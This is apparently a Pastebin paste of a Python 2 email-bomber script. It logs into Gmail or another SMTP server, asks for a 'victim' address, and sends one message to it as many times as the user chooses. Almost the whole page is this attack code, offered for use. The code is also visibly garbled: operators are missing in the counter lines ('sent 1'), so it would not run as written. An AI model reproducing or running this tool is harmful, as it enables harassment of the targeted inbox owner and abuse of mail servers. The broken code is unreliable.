Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import smtplib, time
- choice = raw_input('Are you using Google mail or custom? g/c ')
- if choice == 'g':
- username = raw_input ( 'Gmail username: ' )
- password = raw_input ( 'Gmail password: ' )
- smtpserver = smtplib.SMTP( "smtp.gmail.com",587 )
- elif choice == 'c':
- outgoingServer = raw_input ( 'SMTP server: ' )
- port = input ( 'TLS port: ' )
- username = raw_input ( 'Enter username: ' )
- password = raw_input ( 'Enter password: ' )
- smtpserver = smtplib.SMTP ( outgoingServer,port )
- else:
- quit()
- smtpserver.ehlo()
- smtpserver.starttls()
- smtpserver.ehlo()
- smtpserver.login(username,password)
- victim_email = raw_input( "Please enter target's email: " )
- print ( 'Connecting please wait...' )
- time.sleep(3)
- message = raw_input( "Please enter the message: " )
- messageNumber = input( "How many messages would you like to send?: ")
- sent = 0.0
- for n in xrange(messageNumber):
- smtpserver.sendmail(username,victim_email,message)
- print ( "Sent %s %d emails." % (victim_email,sent 1))
- sent = sent 1
- percentDone = str( eval( 'sent/messageNumber * 100' ) )
- print ( '%s %% Done' %percentDone)
- print ( 'Complete. %s E-mails were sent to %s' % (sent,victim_email))
- time.sleep(5)
- smtpserver.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement